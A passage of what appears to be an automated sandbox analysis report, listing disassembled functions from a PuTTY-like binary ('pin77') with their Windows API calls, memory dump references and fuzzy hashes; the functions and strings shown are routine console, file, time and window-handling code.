                                                                                                                                                    • GetConsoleOutputCP.KERNEL32(222050D6,00000000,00000000,00000000), ref: 003AB63F
                                                                                                                                                      • Part of subcall function 003A9A7A: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,003AEF79,?,00000000,-00000008), ref: 003A9B26
                                                                                                                                                    • WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 003AB89A
                                                                                                                                                    • WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 003AB8E2
                                                                                                                                                    • GetLastError.KERNEL32 ref: 003AB985
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 2112829910-0
                                                                                                                                                    • Opcode ID: abaee25f4fcde26c4adc9dfcac536fba32fb9e76c14a7465dc55996c09ee4f1b
                                                                                                                                                    • Instruction ID: a7f7a15d4cf33ece9f40d4bc1d10c133fd35fb56d27395fac3d1e3b1f7729992
                                                                                                                                                    • Opcode Fuzzy Hash: abaee25f4fcde26c4adc9dfcac536fba32fb9e76c14a7465dc55996c09ee4f1b
                                                                                                                                                    • Instruction Fuzzy Hash: FBD14A75D002589FCB16CFE8D880AAEFBB9FF4A314F18412AE556EB352D730A951CB50
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00340970 Relevance: 6.2, APIs: 4, Instructions: 168timeCOMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • GetSystemTimeAsFileTime.KERNEL32(?), ref: 00340A4F
                                                                                                                                                    • __aulldiv.LIBCMT ref: 00340A73
                                                                                                                                                    • LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00340ACE
                                                                                                                                                    • __aulldiv.LIBCMT ref: 00340AF1
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Time$File$__aulldiv$LocalSystem
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 1236384784-0
                                                                                                                                                    • Opcode ID: f54e3a7bd80d8e665a2577e8cd6209e6d41d9f0e77a55f0b961efc9ee65c337a
                                                                                                                                                    • Instruction ID: 2e41c9be7cc4d353765f0a66f43811e7ce410407447e58add52a89eb5e0ae423
                                                                                                                                                    • Opcode Fuzzy Hash: f54e3a7bd80d8e665a2577e8cd6209e6d41d9f0e77a55f0b961efc9ee65c337a
                                                                                                                                                    • Instruction Fuzzy Hash: 2D6147716043059FC718CF28C840BAAB7E5FF88718F118A2DF9999B390D7B5E805CB82
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0039C788 Relevance: 6.1, APIs: 4, Instructions: 132COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID:
                                                                                                                                                    • Opcode ID: 6d962b6173b501cb4c469888f7fbe619a187b3caacf2764ad3a777e6708219e2
                                                                                                                                                    • Instruction ID: 64426d56c6b10991a263a1c184c6c9bcc4b6c1eb7be4d56d3dd337a3a7f3ddef
                                                                                                                                                    • Opcode Fuzzy Hash: 6d962b6173b501cb4c469888f7fbe619a187b3caacf2764ad3a777e6708219e2
                                                                                                                                                    • Instruction Fuzzy Hash: 2A41D9B2A10304BFDB26DF78C841BAABBA9EB88710F10552EF112DF681D77199408B90
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 002F8700 Relevance: 6.1, APIs: 4, Instructions: 91COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Color
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 2811717613-0
                                                                                                                                                    • Opcode ID: 6b6839f97a3d4804ab31af8844b69ee48c20919d40f1f56ed38a6c6e1f41a2d7
                                                                                                                                                    • Instruction ID: 4c7256f4100f68776591323c46188a9e80d61d5db76f38fb79bfff95ad9c384d
                                                                                                                                                    • Opcode Fuzzy Hash: 6b6839f97a3d4804ab31af8844b69ee48c20919d40f1f56ed38a6c6e1f41a2d7
                                                                                                                                                    • Instruction Fuzzy Hash: FB41926501D394AED702AFA8804416FFFE4AFA5640F45CC9EF8D88B392D674C584DBA3
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003A8DEC Relevance: 6.1, APIs: 4, Instructions: 82COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                      • Part of subcall function 003A9A7A: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,003AEF79,?,00000000,-00000008), ref: 003A9B26
                                                                                                                                                    • GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 003A8E50
                                                                                                                                                    • __dosmaperr.LIBCMT ref: 003A8E57
                                                                                                                                                    • GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000), ref: 003A8E91
                                                                                                                                                    • __dosmaperr.LIBCMT ref: 003A8E98
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ErrorLast__dosmaperr$ByteCharMultiWide
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 1913693674-0
                                                                                                                                                    • Opcode ID: a83c5dc664e1ae0f6c253f60fc344e9f3d01324cbda218244e00be5caa436753
                                                                                                                                                    • Instruction ID: 66916d80ea423cb8eee08f07458523d2ebb399aa3fde95f9ad63ff647fdb1dad
                                                                                                                                                    • Opcode Fuzzy Hash: a83c5dc664e1ae0f6c253f60fc344e9f3d01324cbda218244e00be5caa436753
                                                                                                                                                    • Instruction Fuzzy Hash: 42219F71600605EFDB22AF62CC81C6BF7ADFF423647118919F815DB150DB30ED418BA0
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003A120B Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID:
                                                                                                                                                    • Opcode ID: b4ac25444ecdec2c730c5ea3932313bd94402a60021b97aa604a67308bb074af
                                                                                                                                                    • Instruction ID: 79edac77268bc0b44c2e79a71279e6eef41e6a46a66cc824b026f61c88c5dc38
                                                                                                                                                    • Opcode Fuzzy Hash: b4ac25444ecdec2c730c5ea3932313bd94402a60021b97aa604a67308bb074af
                                                                                                                                                    • Instruction Fuzzy Hash: 80218E71600205AFDB22AFA2DC85A6B77ADEF53364F114A29F915DB590D731EC40C7A0
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003393A0 Relevance: 6.1, APIs: 4, Instructions: 60COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • GetDesktopWindow.USER32 ref: 003393B2
                                                                                                                                                    • GetWindowRect.USER32 ref: 003393BE
                                                                                                                                                    • GetWindowRect.USER32 ref: 003393D0
                                                                                                                                                    • MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?,?,7490B980,?,?,?,0030D8AC,?), ref: 0033941E
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Window$Rect$DesktopMove
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 2894293738-0
                                                                                                                                                    • Opcode ID: a5844faead7357c9faa22d89ac93abcfe2685520d258826a22611ed27cf43dba
                                                                                                                                                    • Instruction ID: dec8a178014a3f181f4ed38933b9a07fc8b85e012e3d58ca797213d797d11120
                                                                                                                                                    • Opcode Fuzzy Hash: a5844faead7357c9faa22d89ac93abcfe2685520d258826a22611ed27cf43dba
                                                                                                                                                    • Instruction Fuzzy Hash: B4115E712043499FCB15DF29EC8891B77A9FFC8354F49462CB9858B381DA30B915C662
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003B456B Relevance: 6.0, APIs: 4, Instructions: 29COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,003B2BF5,00000000,00000001,00000000,00000000,?,003AB9D9,00000000,00000000,00000000), ref: 003B4582
                                                                                                                                                    • GetLastError.KERNEL32(?,003B2BF5,00000000,00000001,00000000,00000000,?,003AB9D9,00000000,00000000,00000000,00000000,00000000,?,003AB324,?), ref: 003B458E
                                                                                                                                                      • Part of subcall function 003B45DF: CloseHandle.KERNEL32(FFFFFFFE,003B459E,?,003B2BF5,00000000,00000001,00000000,00000000,?,003AB9D9,00000000,00000000,00000000,00000000,00000000), ref: 003B45EF
                                                                                                                                                    • ___initconout.LIBCMT ref: 003B459E
                                                                                                                                                      • Part of subcall function 003B45C0: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,003B455C,003B2BE2,00000000,?,003AB9D9,00000000,00000000,00000000,00000000), ref: 003B45D3
                                                                                                                                                    • WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,003B2BF5,00000000,00000001,00000000,00000000,?,003AB9D9,00000000,00000000,00000000,00000000), ref: 003B45B3
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 2744216297-0
                                                                                                                                                    • Opcode ID: 004db09bcc2467e64a2df26aca8ba25e479067ebf875c65735e25f0eccde97a7
                                                                                                                                                    • Instruction ID: d02c3cfe3411503e4a967aa0d74808d9d062172765faa299ffd84241c978a8f0
                                                                                                                                                    • Opcode Fuzzy Hash: 004db09bcc2467e64a2df26aca8ba25e479067ebf875c65735e25f0eccde97a7
                                                                                                                                                    • Instruction Fuzzy Hash: 92F01C36000664BBCF331FA5EC449D93F6AFB493A4F014112FA1899622C6328C20DB94
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0030D3D0 Relevance: 6.0, APIs: 4, Instructions: 21COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • EnableWindow.USER32(?,00000000), ref: 0030D3DF
                                                                                                                                                    • DialogBoxParamA.USER32 ref: 0030D3F1
                                                                                                                                                    • EnableWindow.USER32(?,00000001), ref: 0030D3FA
                                                                                                                                                    • SetActiveWindow.USER32(?), ref: 0030D3FD
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Window$Enable$ActiveDialogParam
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 1750746890-0
                                                                                                                                                    • Opcode ID: 5a5f26e59123076934d1da5115f032cb84b81b6146e0fdbfdf0325240d0935e0
                                                                                                                                                    • Instruction ID: 23c5ca177fb6d15cea7717ae6ce0ec33109179c0c8457cba9a337492d605ed39
                                                                                                                                                    • Opcode Fuzzy Hash: 5a5f26e59123076934d1da5115f032cb84b81b6146e0fdbfdf0325240d0935e0
                                                                                                                                                    • Instruction Fuzzy Hash: 9AD0123124156076D6322755BC49FCF3B1DDFC6714F014111F2046A1E187B52441CA95
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0031B030 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 304COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Strings
                                                                                                                                                    • server subnegotiation: SB TTYPE SEND, xrefs: 0031B349
                                                                                                                                                    • client subnegotiation: SB TTYPE IS %s, xrefs: 0031B35F
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID: client subnegotiation: SB TTYPE IS %s$server subnegotiation: SB TTYPE SEND
                                                                                                                                                    • API String ID: 0-571888287
                                                                                                                                                    • Opcode ID: 370576296a1a3c9afd4f0fe3792db7e857e570cc49288251126ab1e266dcd6bf
                                                                                                                                                    • Instruction ID: 5361bc25808ad48aa8b1f716283c8be80230e5ff4db05683771f87c7037d518b
                                                                                                                                                    • Opcode Fuzzy Hash: 370576296a1a3c9afd4f0fe3792db7e857e570cc49288251126ab1e266dcd6bf
                                                                                                                                                    • Instruction Fuzzy Hash: 7AB13870608305DFD71A8F24CC45BAAF7A9AF8D314F148629F4968B3D2D331D891D792
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0031B28F Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 251COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Strings
                                                                                                                                                    • server subnegotiation: SB TTYPE SEND, xrefs: 0031B349
                                                                                                                                                    • client subnegotiation: SB TTYPE IS %s, xrefs: 0031B35F
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: _strlen
                                                                                                                                                    • String ID: client subnegotiation: SB TTYPE IS %s$server subnegotiation: SB TTYPE SEND
                                                                                                                                                    • API String ID: 4218353326-571888287
                                                                                                                                                    • Opcode ID: 2169320c26636bfcc6b5c20fe2526da9ecedf1f0e4f94907be9f94452ed06aac
                                                                                                                                                    • Instruction ID: 86f0ebe4b1207988ecfc03a0d36da721299558034920ddd3d62415d3288c2f78
                                                                                                                                                    • Opcode Fuzzy Hash: 2169320c26636bfcc6b5c20fe2526da9ecedf1f0e4f94907be9f94452ed06aac
                                                                                                                                                    • Instruction Fuzzy Hash: D1914870608301EFD72A8B24CC45BAAF755AF9D314F648729F4A68B2D2D331D881D793
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0031B267 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 249COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    Strings
                                                                                                                                                    • server subnegotiation: SB TTYPE SEND, xrefs: 0031B349
                                                                                                                                                    • client subnegotiation: SB TTYPE IS %s, xrefs: 0031B35F
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID:
                                                                                                                                                    • String ID: client subnegotiation: SB TTYPE IS %s$server subnegotiation: SB TTYPE SEND
                                                                                                                                                    • API String ID: 0-571888287
                                                                                                                                                    • Opcode ID: a0c7e1f96d65d97b8505297b5e07613cff4548082bcaebebf158c066fe68db79
                                                                                                                                                    • Instruction ID: 1e9c82d106e21953de324d310b36ebf271855ac9566f145ae3626dd64c927d4a
                                                                                                                                                    • Opcode Fuzzy Hash: a0c7e1f96d65d97b8505297b5e07613cff4548082bcaebebf158c066fe68db79
                                                                                                                                                    • Instruction Fuzzy Hash: 58913870608305EFD71A8B24CC44BAAF755AF9D314F648729E4A68B6D2D331D8C1D793
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0032E3C0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 175COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    • WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?), ref: 0032E490
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ByteCharMultiWide
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/unicode.c$p - mbstr < mblen
                                                                                                                                                    • API String ID: 626452242-3899250090
                                                                                                                                                    • Opcode ID: 1f8c9cb975f151c0f0cfc9ac86bc68c6f5abb4ca28d4989e6083f1c201837c63
                                                                                                                                                    • Instruction ID: 2159c9809da4d7135050f712d11eb4f06e9f8a2933aab03e34fe5cdf454b1860
                                                                                                                                                    • Opcode Fuzzy Hash: 1f8c9cb975f151c0f0cfc9ac86bc68c6f5abb4ca28d4989e6083f1c201837c63
                                                                                                                                                    • Instruction Fuzzy Hash: 3451D8306483619BC732EF55E886BAB77E5AF94708F15492CF9888B381E771ED04C792
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00350E90 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 111COMMON
                                                                                                                                                    Download Yara Rule
                                                                                                                                                    APIs
                                                                                                                                                    Strings
                                                                                                                                                    • false && "unhandled node type in exprnode_free", xrefs: 00350EEE
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/utils/cert-expr.c, xrefs: 00350E79, 00350EE9
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
